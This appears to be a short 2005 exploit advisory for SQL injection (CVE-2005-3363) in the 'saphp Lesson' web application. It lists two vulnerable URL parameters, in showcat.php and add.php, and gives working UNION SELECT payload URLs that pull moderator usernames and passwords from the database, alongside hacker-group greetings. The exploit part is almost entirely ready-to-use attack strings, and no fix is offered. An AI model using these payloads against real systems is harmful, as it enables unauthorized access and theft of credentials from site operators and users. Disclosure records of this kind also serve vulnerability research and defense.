Topic:	SQL saphp Lesson
Credit:	almaster
Date:	2005.10.25
CWE:	CWE-89 (Show similar)
CVE:	CVE-2005-3363 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

saphp Lesson ..
Search By Google :-
saphp Lesson

Gr33tz :-
aLMaSTeR HaCKeR .. SQL Injection's FOunder - | almaster (at) hotmail (dot) com [email concealed]|-
Devil-00 .. SQL Injection's Exploting - | devil-00 (at) s4a (dot) cc [email concealed] | -
Security4Arab .. A'Where Home ..

1- SQL Injection in showcat.php
http://www.site.com/dros/showcat.php?forumid=|almaster

2-SQL Injection in add.php
http://www.site.com/dros/add.php?forumid=|almaster

Exp:
- Get Username By This Injection :

dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModName%20FROM%20modretor

2- Get Password By This Injection :

dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModPassword%20FROM%20modr
etor

aLMaSTeR [at] hotmail [dot] com